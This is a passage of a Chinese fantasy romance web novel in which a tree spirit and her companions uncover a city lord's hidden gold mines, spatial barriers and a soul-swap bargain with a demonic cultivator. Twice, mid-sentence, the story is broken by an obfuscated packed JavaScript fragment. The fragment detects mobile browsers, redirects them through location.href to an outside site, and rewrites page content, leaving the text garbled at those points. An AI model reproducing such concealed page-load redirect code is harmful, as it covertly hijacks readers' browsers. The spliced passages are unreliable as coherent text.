“这是,妖力不足,本相不受控制?”应时兀自琢磨着,手保持不动,仔细打量了一番这柔软的枝条,“唔,有点凉凉的,有点儿可爱。”他谨慎地伸出另一只手,飞快地轻轻戳了一下枝条尖端,再快速放下,装作无事发生的样子。 唰的一下,那枝条瞬间伸长,在束缚着他右手的同时,缠绕住那只作乱的左手,而后在他两只手腕上紧紧地绕了几圈,绑在了一起。 透过车帘的缝隙,三人齐齐瞪大了眼睛,瞄了一眼后立刻同时转回头,离得远了些。 应时动了动手腕,那枝条勒得更紧了。他笑叹一声,只得再接再厉继续轻拽应若的衣袖,寻求解救。 应若低低呓语几声,似是觉得被打扰,有些烦躁,一下子掀开衣袖,坐了起来。而那枝条在她醒来的瞬间收了回去。 应时不着痕迹地松了口气,拉下衣袖掩住微微的红痕,识趣地没再说什么,安静地坐在一旁保持微笑,等着她消去这难得一见的“起床气”。 过了一会儿,应若凝滞的眼眸终于转了转,有些困倦地伸了个懒腰,不甚优雅地揉了揉眼睛。忽然,她快速而小小声说了句:“抱歉。”而后风一样掠过他身边,掀帘、下马车,整套动作一气呵成,眨眼间就不见了踪影。 望着风中晃荡的帘子,应时轻轻摇头笑了,也随后下来。 “你们能感应到守护者所在吗?他的所在,理应是金系灵气最为聚集的地方,可这城中的金系灵气却是如此均衡地铺满了这座城。”杜嘉毅最是擅长金系法术,探寻片刻却无果,不知应去何处寻找。 应若好像终于睡饱了,有了些神采,也有力气动脑了,“西原金山环绕,金矿附近,金系灵气也不多吗?” “并未,反而似乎还要稀薄些许。”杜嘉毅皱眉,即便金矿被开采,也应有大部分深埋于地底。“金系生灵大多维系自身的外在,灵识难生,不然问灵一问便知。” “这怪异之处,或许就是我们应该去的地方。黄金开采不过几十年,不至于如此,其中必有蹊跷。”应时说罢,几人便朝着群山中金系灵气最为聚集的紫阳山出发了。 紫阳山,矿洞口。几人在不远的树林中,看到陆续地有人进出着,他们顾不上擦去额头的汗水,就紧接着进入矿中了。 “山中有一些树木,看来都是后栽种在这里故布疑阵的。金矿的开采没有问题,这里是开采时间最长的一处金矿,现在离得近了,我能感知到地底的黄金已经所剩不多了,但这里却仍然是金系灵气最为充沛之处。”杜嘉毅闭眼感知了一番,笃定地说。 “不如,我们去旁边那座不知名的小山一探,看金系灵气稀少之地,是不是地底的黄金同样少。”应时说着,暗中给了墨悦一个眼色。 墨悦瞬间心领神会,“那这样吧,时哥和应若姐去那座小山看看,我们仨在这儿再详细打探一下?” 应若正悠闲地看着风景,被点名一样回过神,看几人已经做好了安排,花染和杜嘉毅也并无异议,便也应到,“好。” 应若和应时并肩走在山林间,阳光正好,树影婆娑,应若专心致志地看着不一样的景致,再加以感知山中的黄金,最后稍微的分出那么一点点心思去思考身旁的人。 “我之前,应该跟他相处的还不错。他倒也真是坦诚,昨天十分详尽全面地介绍了他自己,包括什么签了契约、对抗魔族、体内有魔气……还帮我了解了我自己,上古树妖、历经大战、应龙画像……也大致说了这段时间我们一起经历的事情。” 应若思及昨日应时条分缕析的真挚讲述、意图为她疗伤却因修为不够被拒绝的失落、还有郑重认真地递给她一袋红枣,说着受了伤更要好生补气血的模样。 他还说,但望她是自由的。她心中泛起一丝涟漪,悄悄地瞥了一眼应时。 “唔,是个美男子。不过据我观察,我和他应当是友情以上,他有点小心翼翼诶。花染和墨悦,那才是真正在一起的样子吧。 但这才不过几天,我就有些心动,不行,这显得我很好骗,我要保持冷静。 会不会是我之前就喜欢他?那为什么还没在一起?从前的我到底是怎么想的,要把这个难题交给一无所知的现在的我呢?我又会因为什么而逃避?该不会是我有放不下的人,或者因为活得久经历过太多,所以顾虑太多吧? 所以,这是一出我猜我自己的戏码吗?算了,女人的心思太难猜,我也不例外。想再多都是理论上的,不如就顺其自然吧,但凭本心。” 几步路的时间,应若一阵天马行空头脑风暴飞速运转,面上却仍是一副波澜不惊的神情。 应时有注意到应若不时飘过来的目光,却也没多问,转而说起了另一事,“我之前忘了问,你的妖力,多久能恢复好?” “这未可知,或长或短,要看机缘。按照你之前所说,我们要恢复五行灵脉。五行之力,对妖的修行也是大有裨益的。” 听了应若的回复,应时总算没有那么担忧了,他只希望,这一次,她可以随心所欲地做自己,不用承担过多的责任,不被过往所牵绊。 就这样走着,应时忽然瞧见不远处有一棵果树,留下一句“等我一下”便匆匆朝着那边去了。 应若也向那方向看去,果树下,应时潇洒飞身而上,等再落地的时候,怀中已然捧着两枚红艳艳的果子。应时对她遥遥一笑,跑了过来,衣袖飞扬间,风中充盈着了清香气息,时光静好。 “苹果。”应时将一枚果子递到应若手中。应若瞧了瞧,咬下一口,瞬间被香脆酸甜之味吸引,轻轻对应时点头。 待二人吃完,也将这座小山都探查了一遍,地底的黄金确是稀少,金系灵气少些也不奇怪。 行至山脚下,正欲回去,应时却发觉相邻的山和这座山的交界处,一棵柏树旁有些不寻常。 二人立刻藏匿好身形,屏息凝神,只见那树旁凭空扑出了一只小黑猫,它在草丛中斜斜地腾跃而起。 他们确信自己并未看错,那里原本并无任何动物,那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15231504|165498||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只猫也不是从别处跑过来,而是突然之间出现的。而那只猫正四处张望,似是在寻找什么,过了一会儿便跑走了。 惊诧之时,二人走近那猫出现之处,那里有一股若有若无的力量在阻拦着他们。 应若伸出手试探,“会不会是空间之类的法术,自带结界,可出不可进?” “这些法术你竟还都记得?”应时讶异侧首。 “大部分的上古法术心法我都是自诞生起就已经知晓,传承的记忆不会忘记,只是需要后天的不断修炼。”应若有些得意,要是连法术都忘记,那可真是不知如何是好了。 二人正准备传信让那三人来此处,就见他们已经走了过来。 “时哥,我们观察了紫阳山进出的人和附近的情况,矿洞有官府的人持令牌把守,合乎规矩。”墨悦说道。 “你们这里可有发现?”杜嘉毅感觉到,这里空气的流动似乎有些不同。 “就在这儿,有空间法术的结界。我们可以一起感应一下,看看这个被隐匿的空间有多大。”应时指了下那棵树,示意从那里开始。 “所以,是因为有空间结界,隔绝了窥探,我们才感知不到金系灵气的存在,甚至都可能看不到那个空间,只能大致感知到隔离层的存在。”花染施展法术仔细检查,不由有些担忧,“这么大阵仗,恐怕不简单。” “这里已经被叠加了许多层迷障,我们看到的这座山,已经不是原本的那座山了。原本的山应当被隐藏在结界之中。”应若望着岿然不动的连绵山峰,感到有些棘手。 “应若姐姐,你同我们说了好多话,你终于理我们了诶!”花染忽的转移了注意力。 “没错,是终于理你们了。”应时失笑,墨悦和杜嘉毅更是连连点头。 应若理不直气也壮,“没有不理,人类管这叫做—慢热。” “哦—”几人一齐拖长了音调。 应时清了清嗓子说回正题,“结界的结点并不连贯,空间结界的范围很可能不止一座山。我们还是要谨慎些,今日先回城中查探休整一番,之后再过来。” 西原城,城门很是宏伟辉煌,城楼上方有金玉镶嵌其中,比之京城毫不逊色。天色将晚,余晖给这座城蒙上了一层温柔的纱,初亮的烛火也在一霎跃动其间。 几人走在街上,看着市井繁华,炊烟缭绕,百姓皆是富足安康之态。过了城门的主街,再逐渐转入偏僻的小巷,华丽的门庭变成泥瓦青砖,再变成飘摇的茅草屋。 “不过只相隔了几条街,这落差也太大了。”墨悦感到难以置信。 “是啊,繁华景象只是少数人的。”花染也是摇头。 “不如,我们问问看吧。”应时走向前方,一名粗布衣衫的男子在路边的角落里劈柴。“这位大哥,我们刚入城,想请教您,西原这片为何是如此景象?” 男子用袖子粗略地擦了擦额头的汗水,将斧子在木头上一撂,“唉!这几年啊,西原是靠着采矿富了。但采出的矿石,大部分都上交给了朝廷,剩下的,也就只有那一点儿啦。” “可是,西原不是有很多矿吗?是人手不够吗?”杜嘉毅也询问道。 男子叹了口气,“这矿,看着一座一座山的,是不少,但其实还能开采的大矿没几个了。而且呀,前些年,有好些年轻人,说是去别的城谋生计了,到现在也没回来。” “大概有多少人?他们家里人呢?有询问过他们何时回来吗?”应若想,他们会不会是被困在那个奇怪的空间结界里了。 “具体情况我不清楚,至少上百吧。听说每年有那么一两次书信来往,还往家里寄不少的银钱。我隔壁的老张还说过羡慕人家有钱,像我们这样干苦力,就只能勉强维持生活。” “多谢大哥了,您忙。”几人打听完消息,都陷入了沉思。 “年轻人、钱财、金矿、结界,但愿是我想多了。”杜嘉毅叹道。 “不会吧?”花染和墨悦不相信有谁能这般猖狂。 “大批年轻人同时不见,绝非偶然。该是有人蓄意将他们骗走,并且有能力提供钱财。”应时笃定。 “那,这么大的事,一城之主,会不知情吗?”应若远望城主府。 金石不见,有意而为。 15. 隐秘空间 城主府内,灯火通明。 城主孟仁知晓有人前来拜会,便一早遣人设下宴席招待,只待客至。 城主府并不似想象中金碧辉煌,反而很是朴素。青砖灰瓦,藤蔓缠绕,不见一丝奢靡之风。几人被请至庭院中,与城主一一见礼后便开席了,一如普通家宴。 孟仁拱手道:“因我夫人沐云常年卧病在床,如今家中只我一人待客。如有不周,还望海涵。” 寒暄过后,应时紧接着抛出话题,举杯致意,“我们一路行来途中,得见中心街道繁盛景象,孟城主真是治理有方啊!晚辈以茶代酒,敬您!” “谬赞了。西原这座城,富裕的人并不多,尚有不少人还过着清贫的生活。这些年来,随着矿产逐年减少,我们还要寻找其他的方法,让百姓能过上丰衣足食的日子。”孟仁言辞恳切,也饮尽一杯。 “有孟城主为民所想,实乃城中百姓之幸。”杜嘉毅说道,“我们共同敬城主一杯!” “茶香醇厚!”杜嘉毅称赞道。 孟仁笑道:“有幸得贵人引荐,从东边运来的茶叶,自是比我们这边的茶好很多。” 应若饮尽此杯,正欲继续询问,却见一名刚前来布菜的妇人许久未动。她的视线直直的落在杜嘉毅的身上,倏忽间抖着手,有些不合礼数地指着他因饮酒而露出的手腕,那里佩戴着一只金钏。 一桌的人都注意到了妇人的异样,只见她双眼泛红,缓慢却又迫切地走近杜嘉毅,声音里带着难以置信,“请问这位公子,你佩戴的金钏,里侧是否刻着一个毅字?” 杜嘉毅不由摩挲着手钏内侧,那里确是一个“毅”字,师父杜风曾告诉他,这是自山脚下捡到他时就戴着的金钏,或许是亲人所留。 “是。”这许多年,杜嘉毅早已认定自己无一家族亲眷,除了那个不知真假的兄长,他竟然还有亲人活在世上,还有同他们相认的那一天吗? “这样的巧合,会是真的吗?这一次,我能相信吗?”他在心中问自己,眼中并无一丝亲人相见的激动与欣喜。 那妇人却是以袖掩面,泣不成声。孟仁见状,便也请她坐下细说。“是,我的孩子,那是夫君亲手刻的字,取的名。”她哽咽着,断断续续地说起当年。 她名沐月,是沐云的亲妹妹。那年冬天,她与杜平成婚十年,杜平任城主护卫。恰逢其子七周岁礼,他们一家三口便去寺庙祈福,却在进山的途中遇袭,杜平为了让母子二人有生的机会,独自断后拼命阻拦,最终殒命。 “走!”在他声嘶力竭的喊声中,刀剑相接的冰冷铿锵声中,沐月拉着孩子拼命奔跑。跑到衣衫染尘,枯枝划破手掌,留下一道道血痕。再回头,无人追来,亦无人赶上。 沐月带着孩子逃进了山中的一个村落。然而当天夜里,孩子高热不退,哭闹不止,村里的人都束手无策。她只好借了一匹马,连夜带着孩子往城中赶。 只可惜,等到回到城中,孩子已经烧得昏迷过去,城主请了最好的医者来诊治,也只是摇头叹息。 “只能看他的造化了。高热已经伤到了他的头,退热后,未必还能认人了。” “多谢。”沐月终于落下泪来,她后知后觉地感到了疼痛,身上,还有心上。 隔日,孩子转醒,却异常的安静,不言不语,不哭不闹,只盯着人看。即便是这样,她也没有放弃,她每日都与孩子说话玩闹,即便没有回应,也从未停止。 直到有一天,沐月清晨醒来,却发现,孩子,不见了。她去求城主帮忙,四处张贴孩子的画像,逢人便拿着画像问,“你见过我的儿子吗?” 经历了无数次的失望和“没有”,十几年里,她走过了十几座城。最后,她还是一个人回了西原。孟仁知道她这些年漂泊无定,无依无靠,便让他在城主府里做一份伙计,有个住所。 听完这段往事,杜嘉毅试图理智地分析,“我的确是没有儿时的记忆,那有没有可能,这手钏是别人的,只是机缘巧合之下,到了我这里?”关于他的身世,他其实已经不知道该相信谁,信多少了。 “我姓杜,是因为我师父姓杜。无论您是否是我母亲,这手钏在我手上,即是我们的缘分,我会给您留足够的银钱,给您颐养天年。 只是,我无法陪在您身边,我还有更重要的事情要做。对不起,孩儿不孝。” 看着沐月花白的发丝和那双想要触碰却又收回的手,杜嘉毅冷静坚决地说道。他想,不查明真相,铲除魔族,他永远也不能心安。 听得此言,其余人也是面面相觑,一时间,也不知该说些什么。墨悦只得生硬的转移话题:“不知令夫人是何病症?” “医官说是嗜睡症,许是早年的旧伤所致。一日里,常常有大半日都在睡着,其余时间,也是神思倦怠。”孟仁叹道。 “那今日我们可否看望一下吗?”应时礼貌地询问,想看看这其中是否有蹊跷。 孟仁看向一侧的侍女,“回禀城主,夫人她已经歇下了。”侍女低头行礼说道。 “今日多谢城主款待,告辞。”应若四人先一步离开。杜嘉毅朝四人颔首,同沐云留在城主府详谈。 四人回到客栈,关上房门。应时眼神示意跟着他们一路的人已经走了,于是四人便又悄然回到了城主府,翻墙而入,预备着夜探城主府,一解心头疑惑。 前院中,杜嘉毅正在尽力地找寻话题拖延时间。 同一时间,应若四人顺利地进入了后院,却发觉并无侍卫或侍女的身影。四人一面小心靠近屋子,一面用灵力感知着这里的波动。 待到门前,应时正欲推门,应若却抬手拦了下来。她转过身,面对着屋前的这一小片草木。 “看这一片,以屋子的位置为准,往后的花草,看起来生长得比屋前的更好,却是为何? 灵气越充足,花草应当长得越好,但问题是,我并没感知到屋子这里的灵气。” “所以这屋子附近也有结界,隔绝了灵力感知,但花草不会骗人。”应时同应若对视,二人眼中皆是了然。 “会是和矿山那边相同的结界吗?”墨悦问。 “那我们需要先找到一个。”花染半蹲着。“哦,看来我们的运气还不错。”她指向手边一株靠着屋边的月季花。 几人围拢过来,应若感受了一下道,“我对现今的结界阵法这些所知不多,看不出是不是一样的结界。后世人们研究出的东西,的确颇为深奥。” “所以,应若姐,上古时候,大多都是凭借绝对强大的实力战胜对手的吧?不像现在,个体力量不够,只能以阵聚气,增强实力。”花染很是崇拜地说。 “大部分是吧。不过我也该好好学学那本从辰光山带出来的书了。”应若感慨道。 “的确,是要仔细研究一下了。从前一心修习术法,如今看来,却是不够的。”应时也道。 “我们先走吧。城主府里,只有城主夫人的屋子这 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“我看,还不如尾随着孟仁进去来的容易。”墨悦也是不愿再看这些密密麻麻的文字,打算另辟蹊径。花染对他投来了赞许的目光,二人一拍即合,看得杜嘉毅好笑地摇头。 “我倒觉得可行。”应时略一思索,从书中抬首,“今日我们到访,城主必定有所隐瞒,也有所忌惮。这种时候,人通常都会去到他最放心不下的地方,看一眼,以求心安。” “什么?”应若正埋头钻研,刚好不容易学会了一种空间结界,闻言抬头问道:“都说人心难测,你确定,他会进结界?”看见应时笃定地点头,应若只好安慰自己,不白学,什么都不白学,“好吧。” “所以,我们还要再去一趟城主府?这短短几个时辰,我们已经来回几趟了!”墨悦以为会是明日再探,今日该休息了。 “只要能有收获,多去几次又何妨。”杜嘉毅已然起身准备前往了。 再次进入城主府,几人藏匿在后院的树上等待。 “我们只能等吗?”花染小声问。 “是。”应若刚说完,便听见有轻微脚步声在远处,立刻噤声。 随着声音接近,城主的面容出现在屋前。只见他双手结印,翻转回环,结界从那朵花的位置显现,随后一扇铁门出现,应声缓缓而开。孟仁踏入结界的瞬间,几人瞬间跟上,随后,门在他们身后合拢。 空间之内,另有乾坤。 几人在踏入的一瞬间,就不见了孟仁的踪影,只余他们五人站在一个潮湿阴暗的地下洞穴中。 一炷香前,在前往城主府的路上,应若曾问,“如果,这是他故意设下的局,引我们入结界呢?” 应时只坚定道:“我们只有入局。” 应若也无他法,只好同大家详细讲述方才在书中所学:“我看了书上与隐藏相关的空间结界,一般都是由一种特定的物品、动物或是植物作为阵眼,由它的变化或行动轨迹衍生出空间。我们进入空间后,首先要找出阵眼,才能跟随着它看到空间内真正的样子……” “应若姐,快别讲了,我要紧张了。总之,到时候我们都在一起,我们相信你,就靠你啦!”花染在应若失去记忆后,再一次的,终于又趁机拥抱到了她。 而应若也欣然回抱住她,目光温柔,让她感到无比安心。 隐秘空间,不可言说。 16. 金石有翼 “滴答、滴答……” 地下洞穴中,水滴落的声音变得无比清晰。循着水声的方向,几人来到了隐约的光亮处。那里,陡峭嶙峋的岩壁边悬置着一个火把,它散发出的热量让洞穴上方的冰层融化,便有水滴落下来,在地上汇集成浅浅一洼。 “这里会有什么机关吗?”墨悦说环顾四周,以手触碰再施力,岩壁依旧纹丝不动,周遭也没有发生任何变化。 几人观察、敲击着周遭的岩壁,也并未发现什么。这方天地,除了岩壁、冰层、就只有这一个火把。 应若走上前去,指尖在火把的周围试探着靠近,应时余光瞥见,连忙以灵力庇护。 而就在他的灵力触碰到火焰的瞬间,那火焰好似被激怒般剧烈地晃动起来,由一簇火焰,分裂成了好多簇小的火焰,幽幽悬浮游荡在半空,眨眼间便将几人围在了火圈中。 “我刚刚也是想用水系的法术试一下,看看水系法术对这火焰是否有用。现在看来,的确有变化。这火,兴许就是关键。”应若并无惊慌,回眸看向应时。 应时立刻心领神会,以乾元剑为中心,调动出更深厚的水系灵力,再如水波般汹涌地向着那一圈火焰冲刷过去。那火焰挣扎着摇晃了几下,忽大忽小地闪了闪。“啪”地一声爆响,一瞬间,一圈火焰同时熄灭。 随之而来的,是一阵剧烈的震动,岩石碎裂,滚滚落下,岩洞即将崩塌。 “火焰方才是向西侧偏,风子东侧来,我们快走。”应时说完,几人展开防护法术,朝东边奔走。 即将到达出口之时,却有一大团火红飞速坠落下来,有选择般直直撞上了应若的防御,应若一时不察,水系的防护有了一丝破裂。 应若却是心中一动,“也许它喜欢木系的生命之力。”她顺势略微撤掉一些水系妖力,补上一些自身的木系妖力,再让这些木系妖力一路攀缘向上至洞口外。 这团火便就如此顺着木系妖力的方向,又逐渐地飞出了洞口,几人连忙走出岩洞,见这火很是亲昵地贴着洞口的木系妖力,围绕着深绿色的灵力缓缓旋转飞舞了一圈,不见了。 岩洞外,他们已经是身处于一片花丛中。 “你没事吧?”应时无暇他顾,只关切地看向应若。 “无事。这火焰应当也是某种火系妖力形成的,方才我感觉到它也很疲惫,所以才很急迫似的需要木系的生命力来恢复。”应若回以一笑,不急不缓地说道。 但她又想到在岩洞中,应时看见她被火焰袭击时失去往日镇定的脸,和刚刚已然不自觉探出却又掩饰着收回的手,忽然之间也不想再撑着坚强了。 “现在,只是妖力不足,有些累了。”应若说完,但还是有些不习惯,偏开了头。 “好,那你就别再用妖力了,如有需要,我们来便是。”听着应时温和的话语,应若眼眸微垂间,看到了他微微勾起的嘴角。 “这里,和紫阳山旁的结界之处好像,我们已经在紫阳山了吗?”花染注意到,这里一派风和日丽,阳光明媚,花草繁茂。 “没错。方才的火焰应当也是一扇门,我们经由最初的铁门,进入岩洞,再由火焰之门,来到这里。我们如今所见,才是真正的紫阳山。”杜嘉毅道。 “所以,我们现下所见才是真实,那日在结界外,看到的,进入的,都并非真实的山。只是被空间结界隐藏,不得而入。”墨悦感慨于空间结界的强大。 “是啊。相同空间,不同景象,这空间结界果然厉害,怨不得我学不会!”花染也啧啧称奇,为自己的学不会找到了理由。 “就是!”墨悦也抚掌附和着。 “这儿的花竟开得很好。”应时弯腰轻触了一下花瓣。“只是,并无蜂蝶飞鸟之类。” 应若与应时视线相交,默契十足地脱口而出,“莫非,是蝴蝶?” 那只猫当时是在扑蝴蝶,才扑出了结界。它没找到蝴蝶,才又跑走的。灵蝶恋花,徜徉整片花海,但灵力强的蝴蝶唯我独尊,会排斥其他一切飞行的生灵。这样,一切都有了合理的解释。 “那我们就要找找看蝴蝶在哪了。”应时也是如此想。 “那这该是火系的蝴蝶吧?”墨悦想到了那一圈中心幽蓝外焰赤红的火焰。 “是啊。世界之大,无奇不有。火系、还拥有空间之力的蝴蝶诶!”花染一边搜寻一边眯眼笑道,“小蝴蝶,快出来,让我看看你多美!” “噫!你收敛点儿吧,笑得不像好人。哈哈哈!”墨悦大笑着躲开了花染的一拳。 “这个是吗?”杜嘉毅轻声道。 他的斜前方,一只靛蓝色的蝴蝶栖息在一丛蓝色的花中,若不是蝶翼煽动,已与花海融为一体。蝶翼的边缘,像是镶嵌着金色的流光般,在阳光的折射下熠熠生辉。 “我来用火系法术试试。”墨悦使了一个温和的火系法术,那蝴蝶似乎感觉很是舒适温暖,不急不缓地翩然起舞。几人便就这样,跟随着它,一路来到了一个矿洞口。 “空间中竟有矿洞?”花染震惊道。 “是了,火克金。这蝴蝶应是传说中的蓝焰蝶,有它守阵,克制金系灵气,我们才会感知不到金系灵气。”杜嘉毅叹道。 “这样说来,这个矿洞是被孟仁据为己有了。他竟敢私自开采矿洞,那些许久未归家的年轻人,怕是就在这里。”应时环顾这附近的几座山,“金矿,原来都被他私藏起来了。” 言语间,矿洞中走出几个身强力壮的年轻人,他们运送出沉重的黄金,全部装上马车,再由一个负责管理的人,一路驾着马车,往远处去了。 只见那人最后行至一处僻静小路,从袖中放出一只蓝焰蝶,蝴蝶翩跹停于花朵,结界的阵眼之门也随之打开。 这一次,门的样子,五人俱是感到无比熟悉了。这便是那城主府的后门,也是那夜他们数次翻墙而入都见过的那扇门。 几人连忙施展隐匿法术,尾随着马车,跟进了城主府。 那车夫与城主见礼道:“启禀城主,这一车是我等今日所得。” “辛苦了,你且回吧。” 那人告退离开,而孟仁则是将这一车的黄金,用法术全部取出,接着走到城主夫人沐云房门前,再次施法打开结界,这一次的门,与房门一模一样。 五人跟进去后,孟仁同上次一样不见了踪影,而屋内也并没有沐云的身影。 墙壁上挂着一幅蝶恋花的画,书案上,只凌乱地散着几页纸,女子的笔迹跃然其上。白纸黑字,全是两个名字—孟仁、沐云。那字迹时而工整,时而潦草,有一些还在写完后被涂抹成了一团黑色,也不知是何等的心情。 再向里间走,不知是孟仁过于自信还是有意为之,室内的床榻被移开后没有恢复原位,藏于其下的暗室就这样朝他们敞开了大门。 走下台阶,甫入暗室之门,五人立刻被金灿灿的光晃了眼。果不其然,暗室内尽是黄金。 孟仁自角落现出身形,叹息道:“终于,还是来了。”说罢转身,面对着他们。几人见此,也不再隐藏,同孟仁相对而立。 “我原本想着,能瞒一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15276387|165498||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时是一时,真的到了瞒不住的那天,我自以死赎罪。这一天,我也等了很久了。”孟仁神情悠远怅然,说起了一切变数的开始。 他是个孤儿,少时只能在书院帮忙洒扫维持生活,所幸他机敏聪慧,先生讲学时在门外偷听,就这样也懂得了不少道理。因擅长皮影戏,有幸被前任城主孟延收养,成了孟延的义子。孟延一生未成婚,膝下无子,待他如亲子一般。 那是十年前的一个秋天,那时采矿刚刚兴盛,孟仁还不是城主,他和沐云成婚已有几年,夫妇二人琴瑟和鸣,对孟延也是孝敬有加。 这原本是无数个日子中再平常不过的一天,孟仁和沐云一同在街上走着,观赏着秋日金黄的景致,忽有侍卫来报:“少主,城主府传来消息,有刺客行刺,孟城主受伤。刺客不知所踪,将士们正在追查。” “我们这就回去。”二人惊怒过后,连忙赶回城主府。 孟延屋中,医官刚施过针,孟仁与沐云守便在床前守了一整日。夜里,孟延转醒,眼瞳却已经被黑色完全覆盖。 见二人正伏在案前,孟延无声无息地朝着那边走了过去,到得跟前,他双掌魔气四溢,控制住二人,肆意吸取他们的生命力,而二人俱是双目紧闭,无知无觉。 二人命悬一线之时,门扉被大力撞开,一只金色的小兽闯了进来,那是沐云曾经救下的吞金兽。 它平日里都很乖巧安静,此时蓄集了体内所有的能量,朝着孟延的魔气狠狠一撞,孟延猝不及防间被撞伤反噬,魔气时隐时现,神色在清醒和混沌之间反复挣扎。而那只吞金兽,也在拼尽全力的一击后被大力挥开。 “嘭—” 它撞倒在地上,无力蔫蔫地趴着,气息几不可闻。 这声音终于唤醒了孟仁与沐云,二人看着如父亲一般的亲人在魔气中苦苦挣扎,束手无策。再看见吞金兽为了救他们奄奄一息,只得勉力运转起灵力帮他们疗伤。 终于,孟延的理智艰难地占据了上风。片刻之间,他毫不迟疑,手起刀落,亲手了结了自己的性命。 “不!”只差一点,孟仁的手滑过刀柄,只接住了孟延倒下的身躯。 鲜血与泪水终成往事,留下的人念念不忘。 当太阳再次升起,孟仁成了新任城主。刺客仍未找到,他下令警戒,警惕魔族侵扰。 处理好一应事务,祭奠过孟延,孟仁匆匆赶回府中,连声焦急地问侍从:“夫人她如何了?” “禀城主,夫人尚在昏迷之中。”侍从恭敬低头应道。 孟延的魔气未对孟仁造成太大的伤害,但沐云,却一病不起。 “大夫怎么说?” “大夫开了方子,说是只能慢慢调养。” “可夫人如今水米不进,就这么昏睡着,教我如何能放心得下?”孟仁望着床榻上爱人苍白消瘦的面孔,心痛不已。吞金兽仿佛也在难过,只安静地靠在床边。 “小金瑞,你说,阿云她会好起来吧?”孟仁伸手抚摸着它,吞金兽也应和着叫了两声,头在他掌心蹭了蹭,声音里满含着关怀和安慰。 “孟城主,我有办法。” 此时,门外突然传来清朗的男声,孟仁放下金瑞,警惕地看向紧闭的房门,上面映出了一名长发披散的男子身形。孟仁几番犹疑,终究还是抱着或可一试的心情,起身打开了门。 怎想,这却成了他此生唯一后悔之事。而往后,他便要开启一扇又一扇门,却没有任何一扇门,是通往光明。 门内门外,一步之遥。金石有翼,难越生死。 17. 金屋藏何 那位修士自称枫崖,面目慈悲。他身着青灰色道袍,飘然立于门前,一派世外高人风范,孟仁不自觉的就相信了几分,言谈间,得知他师从辰光山,心中愈发崇敬。 “孟城主须知,万物生死有命,阴阳平衡,逆天改命,也得遵循法则。” “是何法则?” “平等交换。欲求一人生,需有一人死,或一妖死。” 枫崖的声音依旧如清风朗月,可这话中的含义却令孟仁忽然间不寒而栗。再看枫崖淡然处之的模样,又觉得是自己想岔了,他应当并无恶意。 原本在一旁趴伏着的吞金兽金瑞却是把这话听了进去,沐云是它的救命恩人,为了沐云,它愿意。于是,它跃至二人攀谈的案几上,朝着孟仁叫了几声,又看向枫崖。 “真乃奇事,这只小兽是想主动以命换命吗?”枫崖的嘴角不易察觉地勾了下,不知是讥讽还是嫉妒。 孟仁连忙把金瑞抱下去,连连摇头,“不,还是我来。” “可,若我反悔呢?这小妖虽未化形,但胜在心思纯粹,无杀戮业障,这样的妖,最适合献祭。人嘛,心思复杂,多少有些业力加身。想必,你也希望自己的夫人无忧无惧吧?” 枫崖这话其实说得带了些蛊惑的意味,但孟仁的思绪却不觉被牵引着,沉浸其中。 “那么,就用这个小妖吧?” “好。”孟仁眼神直直地看向金瑞,再次将它放于案上。 孟仁只是个普通的修行者,更精通于政务,灵力只是平平,他就这样被控制住了,签下了那份契约。 “愿以妖兽金瑞的生命,换取夫人沐云之命。 大恩大德,我愿以此生为报,为其所用,至死不变。” 这看似简短的几句契约,契定了孟仁的往后余生。待到他幡然醒悟,枫崖已然离开,留下一纸书信,告知他需要做的事。 孟仁也试图反抗过,却未能成功,枫崖的灵言之力,对付他一介灵力平常的人,就如同泰山压顶一般,不得不从。就这样,空间结界、灵蝶、私自开矿、引无辜的年轻人进入永不得出…… 而沐云,的确也如约醒了过来,只是意识并不清醒。不会说话,也不会走路,她好像认为自己是吞金兽,总是试图把金银一类塞入嘴中。一日之中,醒着的时候也并不多,大部分时间都在昏睡。 孟仁见此无比痛心,他已经明白,沐云的身体里,是金瑞的灵魂,而真正的沐云,已经离开了。正是因为无法融合,灵魂不稳,才会少有醒着的时候。孟仁无法,只得将错就错,建造一间金屋,将沐云关起来。 “沐云在里间,你们随我来吧。”孟仁转身,带他们走入另一间金屋。这间屋子与结界外城主夫人的住处摆设无一不同,只是全部用真金打造。 沐云此时难得醒着,见了几人,只是半卧在床榻上,并不言语。杜嘉毅抬手捏诀在沐云额头上探了一下,“是金系移魂之术,我曾在书上见过,一生只得一次,无解。” “我后半生听命于魔,毁掉了金灵脉,私自开采矿石。支撑魔族崛起的钱财皆是源于此,致使许多普通人为钱财所惑,替魔族做事。 我孟仁此生有愧有悔,可那枫崖却再也没有出现过了,每次只留下书信。若几位他日得见,恳请各位务必除魔。” “好。”五人应下。 孟仁擅长皮影戏,可人生如戏,谁是操控者,手中的线又牵动着谁的生命? “造化弄人。拼尽全力救所爱之人,没有错,只是,不该也不能伤及无辜。”墨悦抱臂摇头,一切都不过是一念之差。 “其实,无论他怎么选,开不开门,枫崖都不会放过他们的。西原是魔族势在必得之地,他终究会成为傀儡。”应时一语道破。 “看来,这枫崖便是魔族的另一股势力了。之前发动宫变的魔族长老曾与枫崖合作,利用他的灵言之法。”花染想到了之前,被灵言之术所困的妖,人想必更是身不由己。 “你知晓金灵脉之事?”应若却注意到另一件事,上前一步问道。 